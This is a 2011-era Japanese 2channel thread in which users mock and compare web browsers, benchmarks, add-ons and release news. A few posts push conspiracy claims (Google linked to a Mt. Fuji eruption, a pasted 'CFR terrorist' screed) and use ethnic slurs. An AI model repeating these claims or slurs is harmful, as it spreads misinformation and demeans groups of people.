IE×Firefox×Opera×Safari×Chrome最終戦争17回戦

【前スレ】
IE×Firefox×Opera×Safari×Chrome最終戦争16回戦
http://hibari.2ch.net/test/read.cgi/software/1298865611/

【関連スレ】
IE
http://find.2ch.net/?STR=IE&COUNT=50&TYPE=TITLE&BBS=ALL
Firefox
http://find.2ch.net/?STR=Firefox&COUNT=50&TYPE=TITLE&BBS=ALL
Opera
http://find.2ch.net/?STR=Opera&COUNT=50&TYPE=TITLE&BBS=ALL
Safari
http://find.2ch.net/?STR=Safari&COUNT=50&TYPE=TITLE&BBS=ALL
Chrome
http://find.2ch.net/?STR=Chrome&COUNT=50&TYPE=TITLE&BBS=ALL

スレタイ以外のブラウザの話がしたい方はこちらへどうぞー
Webブラウザ総合スレ4
http://hibari.2ch.net/test/read.cgi/software/1269527865/
タブブラウザ総合スレ　Part6
http://hibari.2ch.net/test/read.cgi/software/1246877593/

主要ブラウザ
IE→情弱もしくはデフォ最強厨向け、IE9は中々優秀だが他ブラウザに追いつかれるのも時間の問題
http://pds.exblog.jp/pds/1/200902/01/20/c0198720_15331642.jpg
Firefox→自分は情強と思い込んでる情弱御用達、メジャーアップデートのたびにアドオンの半数が死亡
http://shumali.net/aki/uploads/photos/firefox.jpg
Chrome→Googleサービスとの親和性は最強、スパイウエアと強制アップデート入りのメモリ喰いブラウザ
http://file.itao.guhaw.com/img_1757261_61702039_0.jpg
Safari→マカー向け、フォントの綺麗さだけがとりえの色物ブラウザ
http://blog-imgs-38-origin.fc2.com/n/e/k/nekosawasawa/safari.jpg
Opera→他のブラウザでは物足りない仙人御用達、シェアは常に1〜2％の揺るがない某伝説
http://upload.wikimedia.org/wikipedia/commons/thumb/3/3a/Opera-tan-9.svg/800px-Opera-tan-9.svg.png

その他有名ブラウザ
ChromePlus→中国の気質が息づくシナ産ブラウザ
Iron→Chromeから爆弾だけを取り除いたChromium系最強ブラウザ
RockMelt→各種SNSに特化したネト充向けブラウザ
Luna/pnir→国産マンセーの一部の信者にしか使われてない複数エンジン搭載ブラウザ
http://shumali.net/aki/uploads/photos/lunascape.jpg
http://shumali.net/aki/uploads/photos/sleipnir.jpg
Dounut→やたら無駄な派生が多い誰得ブラウザ
KIKI→もはやツリーだけがとりえの空気ブラウザ

仲良く争ってね！！

>>1乙

>>1乙
結局変わらずいつものペースで

internet explorer browser 約 502,000,000 件
google chrome browser 約 110,000,000 件
safari browser 約 47,800,000 件
firefox browser 約 18,800,000 件
opera browser 約 18,600,000 件

firefox 約 554,000,000 件
opera 約 454,000,000 件
internet explorer 約 227,000,000 件
google chrome 約 184,000,000 件
safari 約 185,000,000 件



sleipnir 約 3,040,000 件

●利用しているブラウザーのセキュリティーをチェックできるサービス
http://freesoftnoki.blog87.fc2.com/blog-entry-1596.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+frnoki+%28%E3%83%95%E3%83%AA%E3%83%BC%E3%82%BD%E3%83%95%E3%83%88%E3%81%AE%E6%A8%B9%29

Firefox 4ダウンロード総数6,000万超え、シェア6%に到達
http://journal.mycom.co.jp/news/2011/04/06/010/index.html

Android向け「Firefox 4」リリース、デスクトップ版の機能・性能を凝縮
http://journal.mycom.co.jp/news/2011/03/30/015/index.html

競合の追撃を受けるGoogle Chrome 11βの改良点は？
http://ascii.jp/elem/000/000/598/598954/

FacebookやTwitterなどと連携するWebブラウザー「RockMelt」のオープンベータ版

ttp://www.forest.impress.co.jp/docs/news/20110324_434799.html

>>10
元Netscape創業者ら、新ブラウザ「RockMelt」発表
http://hibari.2ch.net/test/read.cgi/pcnews/1289231214/

RockMeltのSNS連携はFx5でパクる予定なんだよなあ

　　　　　　　　　　　　　　　　 　 　 　 ／＼
　　　　　　　　　　 ┌────→／(^o^;)＼──新機能──┬──────┐
　　　　　　　　3%未満(笑)　　　／　Opera　 ＼ 　 　 　 　 　 　 |　　　 　 　 　 　 │
　　　　　　　　　　 └───／ ￣￣￣￣￣ _ ＼ 　 　 　 　 　 |　　　　 　 　 　 　|
┌───資金────.／(^o^)　開発ハジマタ＼←───┤　 　 　 　 　 　 │
│　　　　　　　　　　　　／　 　 Google Chrome　　 ＼←──│─開発者─┐│
│　　　　　　　　　　 ／.￣￣￣￣￣￣￣￣￣￣￣ . .＼　　　 |　　　 　 　 　 ││
│　 ┌───→／　 　　／(^o^)＼　開発オワタ　　 　 ＼←┘　 　 　 　 　 ││
│拡張作って ／　　　 　 Firefoxアドオン開発者　　 　 　 ＼───┐　　　││
│　 └──／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣ ＼　 Fx最強. ! ││
└──→／　　　　　　　(^p^)　Fx生活おいしいです　　　　　　 ＼←┘　　　││
　　　　 ／　　　　　　　　　　　　 Mozilla Firefox　　　　　　　　 　 　 ＼───┘│
　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣ ＼　 　 　 │
　 ／　　　　　　　　(^o^)　そろそろ反撃してもいいですか？　　　○　　＼←─┘ヽoﾉ！？
／　　　　　　　　　　　　　Microsoft Internet Explorer　　 ﾌﾟﾆﾙ＜|─　Σ三三三　ヘ）　るなすけーぷ
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼／＞ ／￣￣　　　 く
　 　　　　　　　　　　　　　　　　　　＜○＜　　　　 　 　 　 　 　 　￣￣
　　　　　　　　　　　　　　　　　　　　　｜　　さふぁり
　　　　　　　　　　　　　　　　　　　　＜＜

つまんねーAA作ってる暇あったら節電しろやドマヌケ猿

>>13
すでに反撃開始してるだろ
古いんだよそのAA

マウスカーソルに陰毛を生やすページを作ったぜ！

http://www.death-note.biz/up/p/20404.html

>>16
ふ、Fx4は神ブラウザ余裕でした

>>16

Opera(2-3) ≧ Chrome(3-4) > Safari(4-7)　神ブラウザ
Firefox(9-13) ≧ Seamonkey(12-15)　普通ブラウザ
Camino(28-30)　駄ブラウザ

だったわ＠MacOSX
Gecko弱いのお…

>>17
一時的にFirefoxを４にしてみた。すぐに戻すけど。

Opera(2-3) ≧ Chrome(3-4) ≧ Firefox4(4-5) ≧ Safari(4-7)　神ブラウザ
Firefox3(9-13) ≧ Seamonkey(12-15)　普通ブラウザ
Camino(28-30)　駄ブラウザ

最強伝説が強いな。Firefoxがんばれ。

とりあえず、chromeは早いなぁー

>>16
2-3のOpera11最強伝説

あるFirefoxアドオン開発者の嘆き
ttp://togetter.com/li/46617
落ち目ブラウザFirefoxから勝ち組ブラウザChromeに乗り換えた情強ユーザー達の声
ttp://togetter.com/li/80730

なるほど、四半期前だ

operaのターボって効いてるのか？
少なくともfirefox4よりも遅いんだけど
どこが最速なの？　自称最速（）

(´･ω･｀)知らんがな

Opera Turboは日本じゃ電話回線やISDNとかの低速回線使ってないとむしろ遅くな
るのは常識だろ。その程度の知識人で書き込むなよ。つうか釣りか？

ここのサイトでも開いて、Turboの有り難みを実感しとけ。
http://dino206.blog.hobidas.com/archives/category/1712.html

>>22なんかこの下のURLのページのChrome信者がキモすぎる

何かと思えばﾂｲｯﾀか
信者というより無知晒しても平気な馬鹿でしょ

FirefoxからChromeに移る層って
Firefoxと同じようにChromeを使える人……1%
Chromeと同じようにしかFirefoxを使えなかった人……99%
でしょ

ブラウザごときで選民思考する奴って何なの。

>>22
下のリスト作った奴っぽい
ttp://twitter.com/googlechromenow

火狐で使うアドオンをまた増やしてしまった
Chromeへ移行したいから早くアドオン増やしてくれ

リアルプレイヤーのダウンロード機能がChrome で使えるようになってから狐と勝負。

>>30
それで自尊心を保ってるんだからほっといてやれ

Chromeはお行儀の悪さを直してからじゃないと
使えないな
特にビジネス用PCではね

お行儀の悪さをなおすとそのまんまIronになっちゃうのですがｗ

ちょっと奥さん！リアルプレイヤーですって！
キャッシュから保存することも出来ないのかしら

クロームが良いって心から思って使ってんだからほっといてやれよ
お前らはいっつも自分より下の存在叩いて自尊心を保ってるけどその癖、治したほうがいいよ

緊急地震速報の拡張がないFirefox
拡張作者に見捨てられてるんだな

P2P地震速報使う方がいいぞ、それなら

「つくるウェブ EarthquakeNotifier」いれてみた
Chromeの拡張より速報性が高いな

http://maps.google.com/maps?ll=35.358583,138.73503&z=12&t=h

Googleはこういう企業です
富士山噴火させようとしているみたいよｗ
どうやらそれに一枚噛んでいるようだ

日本人ならGoogleアプリはやめましょう

いや・・・なんだよこれ

明らかに噴火後の姿ですね
証拠のデータもすでに保管してあるが

やっぱり何かおかしい企業だよ

>>42
Googleが富士山噴火させようとしているんじゃなくって
これからの起こり得る予測データーを暗にアメリカが知っていて、それとなく日本国民に警告してくれてるんだろうよ

それに比べて我が国は…ｗ

仮にそれが現実と化した場合、責めるのはGoogleでは無く…内側の隠密姿勢にある

起こりえる予測データを日本国民に警告？

http://maps.google.co.jp/maps?hl=ja&client=firefox-a&rls=org.mozilla:ja:official&q=%E5%AF%8C%E5%A3%AB%E5%B1%B1&um=1&ie=UTF-8&sa=N&tab=wl

残念ながらそうではない
前に貼ったのはUSAのサイトからだ

日本人向けではない

>>46
まんま、おまいが回答いってるじゃん
日本気象庁は、実データを海外経由頼りで流して→日本国民へ警告させてるぞ
それだけ我が国家内では情報規制が厳しくしかれてるってこった

>>47
違うだろう
何故かというと元々は隠すつもりだったからだ
ドイツに流したデータも当初は否定したし、しかもそれは要請があったから出しただけだぞ
気象庁が自ら外部に積極的に提出したんじゃない

>>48
要望があって出したとしても、それを流した事は
我々日本国民にとっては唯一の予測される情報源じゃない

あくまで想定なんだろうが想定を考慮に入れての情報が海外経由からしか流せないというのは情けない限りだと思うよ

>>39
機能的にはSignalNow Expressとかの方がよくない？

おいおい火山が噴火するかどうか的確に予測できるなら、ノーベル賞級の業績だろ。
誰にも予想できない。オオカミ少年になりたくないから、気象庁も慎重になる。

海外のネット経由で、外国が何言ってるか収集することは大切だがけど、
それも日本の政府や機関が発表する資料を基に「解釈」してるに過ぎない
ってことが、今回の地震と原発でよくわかった。

だから政府が本当に隠蔽しようとしたら海外経由でも厳しい…。

>>42
それただの衛星写真の問題だろｗ
噴火とか関係ねーしｗ

震災起こってから聖戦士が紛れ込んでるな

富士山の衛星写真がどうしたのか全く理解出来ない。
噴火？噴火なんてしてねーじゃんこの富士山。

Google Earthスレと完全に勘違いしてたわ紛らわしい・・・

Opera11.10がいつのまにか出てたらしいのに信者が静かだな

信者さえ気づかないという伝説

このスレに信者が来なくなっただけだろ
そうでなければ前スレのオペラいらないでも相当荒れたはずだ

あたい信者だけどぶっちゃけどうでもいい

もっとがんばれよ
このスレは本気で煽りあうスレだろうが

Chrome厨が元気な時は伸びたんだけどな
もうIE9とFirefox4で完全に存在意義がなくなって全く見かけなくなった

11,10たった今インストールした

XPを親の敵にしてたIE9厨さんはどこ行ったんだ・・・

XP厨さんとやらが消えたからね

なんだ終戦か

春休み終わったから○○厨さん達は学業に戻ったんでしょう。

今日Operaアンインストした
俺勝ち組かも

グーグルが高速プロトコル「SPDY」をChromeブラウザで有効化。Gmailなどで利用を開始していた
ttp://retweeter.unicco.in/

５０％とか凄いじゃん
Firefoxアドオンを早くChromeに移植してくれー

移植できるものはほぼすべて移植されているような気がする。
移植されていないものはChrome拡張の制限事項に引っかかって無理なんじゃないか。

>>69　えっ

>>70
あなたが移植してほしいFirefoxの拡張って具体的には何？

>>71
Firefoxと同じ使い勝手のぬりかべ

IE１０来た

IE10
http://ie.microsoft.com/testdrive/Info/Downloads/Default.html

Acid3は相変わらず95点か

やっぱIEとFxは満点取る気はないのね

IEの方は表向きは100点を取りたいって言ってたような気もするな
Fxは取る気がない

現実はこれだぞ
http://samples.msdn.microsoft.com/ietestcenter/

Acid3 100点なんて意味なし

Acid3って既に使わなくなった規格も含まれてるんだとね
そして>>77はいつものMSを考えるといくつかの重要な規格を無視してそうではある

IEの大本営発表はちょっと怪しいところあるからなｗ
まあ、でもやる気出してくれるのは良いことだわ。

>>77
オペラとクロム酷いな・・・

>>80
酷いのはオペラとサハリだろ
クロムと火狐はなんとかついてってる

Firefox 5に搭載される11の新機能
ttp://gigazine.net/news/20110413_firefox_5/

２ヶ月後・・・だと？
またアドオン再設定しないといけないの？

おいおい、俺なんてやっとIE6からIE8にしたところだぜ
まだ9も見てないのに10とかでてるのか

Chromeの一般人騙しバージョンナンバーに触発されてるのか

>>82
うーん・・・微妙だな
それならAcid3やら>>77やらの満点を目指すべきだと思う

ベンチよりも使い勝手だろ
>>85

>>86
正しく表現できる、というのは使い勝手に含まれるような
早いけど表示がメタメタ、ってのじゃ使い道に困るし

Chromeへの乗り換え検討してるんだけど
マウスジェスチャのレスポンスが悪いように思うんだけど
改善される見込みはあるのか？

Opera最強伝説!!

>>85
Windowsの一部の２バイト文字ではルビの字下げで文字が切れるなどの問題があるため
Acid満点を目指さないブラウザがあったと思う

>>88
見込みはない

>Chromeの一般人騙しバージョンナンバー
技術力がないから無駄にバージョンがあがってるってイメージがある

使い勝手といっても、まだ草案段階の技術を他より沢山使えまっせ、だから

Chromeのバージョンなんて全然気にならないんだが…
みんな気になるの？

Chromeはバージョン上がってもエクステ入れ直さないし
自動でアップデートされてるからバージョンアップしたことにすら気付かない

>>77
これって確か殆どのテストケースをMSが開発してW3Cに提出したってやつでしょ・・
そりゃIEが良い点取れて当たり前だよ

クロムにautopacthwork、fastestchrome、RSSエクステンション、Gmailチェッカー
Googleカレンダーチェッカー、chromeリーダーnotifler、mini Google map、IEタブ
Turn Of the Ligth入れたら元々クロムが持っているスピード、Youtube、ストリートビュー等の
神コンテンツとの相性に加えて使い勝手やGoogleの神アプリとの連携が加わり
完璧な神ブラウザになってワロタｗ

そうだな

Googleの神アプリってなに？

劣化する一途だと思うけどな
うざいからスタイリッシュ大活躍だわ

>>96
君。なかなかいいマインドコントロール効いてるね。
Apple製品使い始めたらすぐに盲信しそうなタイプだな。
だからいつもサファリを叩いてるのか。納得した。

神ブラウザは言い過ぎだろ、最強ブラウザぐらいにしとけ
拡張できないIE9厨が騒ぎ出しただろ

この殺伐とした雰囲気こそこのスレにふさわしい！

>>99
ipodとitunse既に使ってるよ。サファリは意地でも使わんけどな

>>96
あとgoogleDocsビューアも入ってるや。クロムから文書を選んで即Docsで開く（編集）、削除もできる

マジで穴がないよ。神と言える

まだちっとも殺伐としてねえよ…
ChromeがFirefoxのシェアを抜くぐらいしないと戦争は起きないのか

チンパンジーのシェアが人間を抜くぐらいじゃないと厳しい。

Chromeは見れない動画サイトが多いのでメインでは使いにくい
そもそも動画が表示される部分が綺麗に欠けている場合が多いので
表示されていないことに気づかない

>>94
恐ろしいことですね

クローム作者さん
image.dataに.concat()が効くようにしてください

Flock終了のお知らせ

Chromeってjavascript速度しか取り柄がなかったんだなあ・・・

と、IE9、Firefox4を使ってオモタ

まぁどの陣営も本気出すようになったし
かませ犬的に意味があった
やっぱ競争がないとダメないい例だろうな

なぜCFRテロリストは世界最終戦争を日本で始めたのか？

それがなぜなのかを今まで考えてもみませんでした。

要するに「日本人が最も手強い」からでしょう。

日本人をまず攻略して手足を縛っておかないと

地球規模でのテロ展開は無理と判断し

日本をまず標的にした。

そして、見事、日本人の知性に負けた....と解釈いたしております。

リチャード・コシミズでした。

>>109
Fx4のjsエンジンはSafariが積んでるNitroの流用だけどね

元々入っているieとオペラだけ有れば他に入らないだろ。
アドオンとか捜すの面倒だし。

いやー、オペラの使い方を探し回ったりカスタマイズに悩むよりは狐の拡張を

Firefox （やりたいこと）

で検索する方が早いと思うｗ

Microsoft announced on Wednesday that the company's latest browser,
Internet Explorer 10, will not be available for Vista users.

ttp://www.neowin.net/news/microsoft-no-ie10-for-vista-users

ざけんな…無駄にバージョンをばら撒いて産廃化させんじゃねえよ
やるなら責任もってXPもVistaも葬れや

老害XP厨

メインストリームサポートが終わってるXPにIE9が来ないのは理解できるが、
あと1年近く続くVistaにIE10が来ないってのはひどいな…

VistaにIE1０来ないの？
もういいよ別にいらないし次からUbuntuにするから

IE10の正式版はVistaのメインストリームサポート終了後になるということだろ。
そう考えれば特に理不尽なことではないと思うがな。

ＭＳ「そういうライセンスだろ？
　　　嫌なら使うのやーめればぁー？」

Vistaのサポート終了を狙って、IE10をだすのか
姑息だなー

ゲイツのくせになまいきだぞ

Vistaのメインストリームサポートが12年春に切れて
Windows8が12年夏以降か……

何がサポート終了だ、ふざけんな
MS以外は実際にユーザが居る限りサポートせにゃならんのだ
下らないもの作ってゴミ処理させんじゃねえ

Vista版出ないことは決定してない。
IE9残るよりIE10出してIE9以下のサポートを切った方が楽。

072:なまえをいれてください ：03/07/23 14:37
ハッキリ言って2chなどの情強掲示板では火狐の方がOperaよりもずっと立場は上だよ。
貧弱で弱弱しく、アグレッシブさに欠け、醜いOperaは火狐のストレス解消のいい的。
火狐はカスタム性、便利なアドオンを多数輩出してるし、Operaはかなり彼らに見下されている。
(火狐はieには頭があがらないためブラウザスレなどのOpera使い相手に威張り散らしてストレス解消する。
また、Operaの新機能はすぐパクれるアドオンとしてとおっている。
「Operaでできる事は火狐でもできる」と開き直る火狐ユーザも多い。
彼らの見ていないところでこそこそ陰口しか叩けないOperaは滑稽。

あほか
サポート切れなんてのは、MSの言葉としてしか存在しないんだよ

しかし創造神の言葉でもある

ロストパラダイスと化すか、単なるロストワールドで終わるか

情強掲示板か
これは必レスコピペに使えそうなワードだな

operaはいい加減メニューボタン増殖、削除不能バグ直せよ

は？

ゴミ使う奴はレスも程度が低いなｗｗｗｗｗｗｗｗｗ

ひ！

で、結局一番総合的に優れてるのはどれなの？

SRWareIron

個々の機能の平均の総合ならOpera
しかし全体的にみるとだめになるのもOpera

Operaが順調にクソ化している

1 ：風吹けば名無し：2011/04/15(金) 00:44:52.69 ID:3K96bmoF
11.00にアップデートしたんだがSpeedDialが見にくいわ、
表示されないサイトが増えるわ、劣化しすぎ
なぜかAmazonのベストセラーページも一部表示されなくなった

Pale Moonに切り替えていく

総レス数 1
1 KB [ ２ちゃんねる ３億PV/日をささえる レンタルサーバー \877/2TB/100Mbps]


　　　　　　　　 　　　　　　　　___　 ＿　　＿ 　 ＿
　　　　　　　　 　　　　　　　/　 |　|＿|　|＿　 |__/　|＼
　　　　　　　　 　　　　　　　＼／/　　　|＿　 |＼ 　|￣＼
　　
　　 　　　　　　　　　　　　　 最　　　強　　　伝　　　説

　 　　　　　　　　　　　〜 The Legend of A Cool Browser 〜

>>135
ちょっと前まではChromeより速かったが今じゃ見る影もなし。

137 名前：あぼ〜ん[あぼ〜ん] 投稿日：あぼ〜ん

>>138
有意差なんてないだろｗ
スピードについては
情報の扱い方が違うってのが最大の違いなんだし

クロム強すぎ

IronはFlashのsandbox動作ができないから常用はありえない

Ironユーザーは情強ぶった情弱が多いよな

というか、IEユーザーとOperaユーザー以外は全員そうだろ

結局Chromeが一番バランスいい
一般人はChromeでガチ

>>142
落ちたら落ちたでいいしｗ
そんなもんは
フラッシュ動画ばかりずっと見続けている暇人以外には無用だよ

>>146
Flash動画見てない人は関係無いと思ってるところが情弱なんだが
「drive-by download」って用語を勉強してこい

Flash自体をインストールしていないというなら言うことはないです。ごめんなさい

＞Flashのsandbox動作ができない
クロームの唯一の利点外しちゃゴミだろ

Firefox 4、最初のアップデートは4月26日
http://journal.mycom.co.jp/news/2011/04/15/001/

IE9日本語正式版が4月26日
Flockサポート終了も4月26日

今まで海外のエロサイト見ててもチンコが反応することはあっても
ノートン先生が反応することなんて一回もないんだが、
そのドライブなんちゃらってのはどこいったらお目にかかれるんだ？

今の流行はMS Removal Tool
アンチウィルスソフトが入ってれば安全と思ってる情弱多すぎワロタ

security toolの進化系か？

最近出てきたウイルスか・・・初めて知った。今はどうだか分からんがMSEで防げなかったって書いてたから不安だな。

ぐぐってみたがろくな情報ないな
かかるのは知恵遅れ系の情弱サイトばっか
どうせWindowsUpdateもしてない糞PCでしか被害ないんだろ

一般人chromeはガチだな、pdfはchromeで開くしflashまで自動でアップデートやってくれるし

>>155
PDF読めるのはまじありがたいな。
アドベの糞ソフトなんてなるべく入れたくないからね。

そういやFirefoxも簡易PDFリーダーを内蔵するんだっけか。
何れIEやOperaなんかも自前で簡易PDFリーダー作るんかね？

Win8はOS標準でPDF開けるっていうのを聞いた気がするな

アドベは色々と余計な機能入れ過ぎて重くなってるんだよな
テキストと書式情報と差し込みの画像、そんだけサポートしてりゃ充分なのに

PDFはGoogle Docsで読んでる

>>98
chromeじゃね？

webアプリだったら、GoogleMaps
OSだったら Android かね。

メニューバーとかの中だとホイールクリックが機能しなくなるブラウザはゴミ

>>161
Mapも最近駄目だ。Yahoo地図の方が良いくらい。
Mailとリーダーだけは最強かな。

マウスは甘え

俺は日本のアーティストではスピッツは宝だと思ってるよ。
あいつらほど日本の女々しさ（欧米と比べて）を魅力に変換してる歌い手もそう居ないからね
日本代表でいいよもう。あの雰囲気は外人には絶対出せない。
B'zなんか所詮エアスミの劣化コピーって本人達が認めたくらい欧米コンプの象徴
洋楽厨の嘲笑の的でしょ。ウリにする所が180度違う。
「日本の魅力」を世界に売り出すつもりなら、欧米文化を模倣してるだけじゃ論外。猿真似ジャップと馬鹿にされるだけｗ

IEとFirefox以外全滅や

＞　これは天下の ICC : International Color Consortium / 国際色協会 も行っているテストで、
＞　一切の色管理を行っていないシステムだと色がめちゃくちゃに見えます。
＞　逆に最低限のカラーマッチングができるシステムなら、全ての画像が同じように見えます。

(a) http://miyahan.com/me/report/computer/070125_WUXGA_LCD/img/CMScheck4A.jpg
(b) http://miyahan.com/me/report/computer/070125_WUXGA_LCD/img/CMScheck4B.jpg
(c) http://miyahan.com/me/report/computer/070125_WUXGA_LCD/img/CMScheck4C.jpg

>>166
これか。IE8@XPだとダメだった

http://miyahan.com/me/report/computer/070125_WUXGA_LCD/ColorManagement.html

>>166がSafariを使ったことがないのはわかった。

>>166
V2C対応してた

>>166　V2Cでさえまともに見れる

>>166
mac版ならOpera以外対応してるぞ
因みにそれ気にするのmac厨だけだから
win版が対応してなくても何の問題もない

Janeのビューアーだとヤベェ

JaneSpyle糞杉ｗｗｗｗ

173 名前：あぼ〜ん[あぼ〜ん] 投稿日：あぼ〜ん

もういいよ兵庫は

FF6.0やべーよ、FF使い続けてよかったと思える軽快さ
この速さと拡張性維持できれば間違いなく最強だな

FF6ってスーファミだっけ？

FFってどっちの？

いや、流石に釣りだろ

PSでも出てるよ

YouTube、全動画をWebM形式に変換すると発表
http://toki.2ch.net/test/read.cgi/bizplus/1303352367/
現在、WebMに対応する主なWebブラウザは、Google Chrome、Firefox、Operaで、
Microsoftの IE では拡張機能を追加しないとWebMの動画を再生できない。

WebMの扱いをFlashやH.264と同等に引き上げるってだけだろ。

WebMって再生支援効効くのかね？
H.264なら、ビデオカードのほうが対応してるんだが・・・

めんどくせー

>>183
GoogleがWebMに力を入れる姿勢を見せることで対応製品増えるんじゃない

Google１社 vs …
さすがにな。

Mozillaはどっち？
それとも中立派？

MozillaはWebM一択
ライセンス的に

今更だけど、Firefoxってアドオン入れないとほんとに何もできないのな
かゆいところに手が届かないってレベルじゃない、内臓がかゆいってレベル

>>187
MozillaとしてはWebMだけど、プラグインを提供してくれるなら表示していいよ、というスタンスかと

もともと、H.264に反対してたのはMozillaとOperaじゃななかったか
それに、MozillaとOperaはGoogleに逆らうことは出来ないよ

>>189
そんなこと言ったらChromeやSafari、IEはどうなるんだよ。
それなりに拡張があるChromeはともかく、SafariやIEはかきむしって血が出るレベルだぞ。

>>192
そのままてんかん起こしてあぼーんしてもオレは困らないな

つか、標準でFirefoxより機能豊富なのはOperaだけだろうに。
どういうわけか一番機能が足りてないような錯覚をする奴が多いな。

なぜ、標準で機能を豊富にする必要があるのか？
人によって、この機能はいるけど、これはいらないとか出てくるでしょ
標準は最低限でいい、そして自分が必要なものを拡張していけばいいのではないのか

ろくに拡張するスキルもなければ気力もないアホは宗教に浸っとけばいい

標準でもOperaの機能は完成度が低いから話にならない

でも最新版がα版やβ版じゃないブラウザって
今はOperaとSafariくらいか

最新版は安定版ですよという自負か、次へのステップの指針が見えていないだけか

Firefoxの誰が作ったかもしれないアドオンを入れて機能を拡張するという考えが私には理解出来ない

フリーソフト一つ入れるのにためらっちゃう人ですか？

　 　＿＿__
　　　／＿_.）)ﾉヽ　　　
　　 .|ミ.l　_　 ._ i.）　　
　 （＾'ﾐ/.´・ .〈・ ﾘ 　　Firefoxのアドオンはワシが作った
　　.しi 　　r､_） |　　
　　　 |　 `ﾆﾆ' / 　　 　　　
　　　ﾉ　`ｰ―i´

>>200
うん。個人が作ってるようなフリーソフトはなるべく使わない

つーか>>196拡張に大したスキルなんて要らんだろｗ大げさな

こういうアホが国産PCで満足してる情弱なんだろうなｗｗｗ

じゃぁ会社が作ってるようなソフトが信用できるのかと

アホとか言われてもなぁ
その程度のことでアドオン入れることの方が自分にとってはアホらしいがなぁ

ごめんその程度ってのを明記してなかったから無視して

意外とこのスレの住人って煽り耐性無いんだな

前提を平気で覆すｗ
アホの見本だったな

>>208
何を言ってるのかよく分からないです

>>207
ここは煽りスレじゃなくてガチが推奨されるスレなんだよ。
煽りは少ない。

煽られたら、煽り返す、これが正しい２chの作法です

神を超えたブラウザfirefox6新しい世界を創る

「テクノロジーが神に代わることはできない」──ローマ法王

>>213
神は概念だからな
全ての事象は神の奇跡の賜物、とか言われたら
その理屈の中では、どんなテクノロジーだって神を越える事はできない

だからこそ、宗教は胡散臭く感じるわけだが

神を信じなくなってお布施がもらえなくなったら困るから
これが真理

ID:FAec0VEI0
痛いなこいつ
プライドだけやけに高いんだろうな
煽られすぎると発狂して荒らした前科ありそうｗ

神は自分自身のうんたらかんたら──ジェシー

宗教家には切り札の、世界は神が作ったから科学だって神がうんたらかんたらがあるからな

宗教談義は他所の板でやれカス

ＦＦ４で散々アドオン入れまくってる俺からしてみれば、もうほかのブラウザ使えん

ＦＦ４で一瞬で済む作業が出来ないなんてもう無理

戦争にすらならんよ。ＦＦの圧勝だもの

よく喧嘩してるな
煽られてブラウザ乗り換えるやつなんてそう居ないだろうに・・・

むしろ意固地になって何が何でも変えない、みたいになるよｗ

>>222
百理ある

Chromeは本当に速さだけだったな
本スレ過疎すぎて、このスレより勢いが無いとか終わってる

最初からFFで決まってたろ
もうこのスレいらね

だってクロムと比べたらどのブラウザも遅いし（差は詰まったけど）、傘下だけあっていまや神とされるYoutubeも速くなるし
それぞれの分野で評価が高い（マップとかカレンダーとかＧmailとかドキュメントとか）Googleさんアプリケーションとの連携プレーも拡張で抜群になるし…

もうwebの主流はfacebookに移ってるから
Googleさんアプリとの連携を謳われても・・・ねぇ？

chromeの利点ってブックマークを高速で検索できることだろ

>>222
IE6使いなんかに特に多いな、その傾向は

iPhoneユーザーの位置送信発覚で、Apple怖ええよ、Androidの方がマシか、
と思ってたが全然違った。。
やはり「あの会社」に匹敵するものはなかったようだ。
こええよお。まじこえええ。これじゃあブラウザも信用できるわけがない。


Androidもユーザーの位置情報を記録、Googleに送信か
ITmedia News 4月22日(金)14時57分配信
　iPhoneがユーザーの位置情報を記録・蓄積していることが明らかになったが、
Androidも位置情報を取得・蓄積し、Googleに送信していることが分かったと、
Wall Street Journal（Web版）が報じた。

　セキュリティ専門家が台湾HTC製のAndroidスマートフォンを調べたところ、
ユーザーの位置情報を数秒ごとに記録し、少なくとも1時間に数回、
Googleに送信していたという。氏名や場所、付近のWi-Fiネットワークの信号強度も
送信していた。Googleはコメントを拒否したという。

　一方、Appleはユーザーの位置情報を12時間ごとにAppleに送信していることを
米議員への手紙で明らかにしたという。

>>229
IE6使ってんのは他のブラウザの存在を知らないだけじゃないのか？
流石にIE6の長所は思いつかないな

あるだろウイルス収集には欠かせない

>>232
あとフィッシング詐欺被害者になる為とか

迷惑千万だな
他人にまで被害を及ぼすとか

Googleアプリだけはないよ
今まで黙ってたということは、Googleが今まで言っていたことも嘘である可能性が高い
情報送信の可否を決める設定自体が実は何の意味もないというのはあり得る
それがGoogleの対応のありかた
検索サイトとして使うことは避けられないが、アプリやその他のサービスは使えるものじゃないな

そんな当たり前のことを長々と・・・

うちの学校の情報の教師でもIE6使ってるからな
ブラウザ自体がマニアック

その学校個人情報とか流出してそうだな

ネットつないでりゃ普通にブラウザのUPDATE来るはずだが
無視してんのかね

Chrome使うぐらいならIron使った方がいいだろうな
Ironの方が速いし

それはそうとPeacekeeperが使えなくなってるな
どうしたんだ

>>239
そういうのは切ってあんだよ、学校や役所ではね

クロームの利点のほとんどが使えないアイアンなんか糞だろ

クロームの利点・・・・・はて？

peacekeeper復活してたな
さすが対応も早い

>>243
社員なんじゃね

社員降臨と聞いて

>>239
アップデートは管理者の仕事。
一般ユーザーにはアップデートできる権限を持たせない。
これが普通。
一般ユーザーのプロファイルディレクトリを実行拒否にしてChromeをインストールさせない。
これも普通。

クロムが最終戦争に勝利したとか聞いて来ました

セキュリティ面ではクロムは圧勝だな
他は知らん

なんだクロームが勝利したのか
ならこのスレ見る必要ないな
じゃあなお前ら

Pwnなんたらのあれのこと？
だれかUｒｌください

まぁ本体がスパイウェアなのにセキュリティってなぁ
いわば、ノーベル平和賞に対して孔子平和賞を創設した中国みたいなもん

IEって今でもjwordにレイプされてんの？

まあ殆どのブラウザがdoubleclick.comに犯される事を是としてる訳だが

あれ？Operaって嫌われてんの？

広告付の頃から使ってるんだけど。

嫌われてはいない。相手にしてもらえないだけだ。

最強すぎてか

だって仙人だからな

operaだけgoogle topの表示が1つ前のまま

開発終了〜つい最近までずっとSleipnir1.66を使ってきたけど
いい加減HTML5やWebM対応ブラウザに乗り換えた方がよさそうな時期なので
FFとChromeへの乗り換えを真剣に試してみた。

FFは拡張を揃えるまでが一苦労だったが、揃えてしまえばかなり快適。
まだ、Sleipnirの完全再現には至っていないが実用に耐えるレベルにはなった。
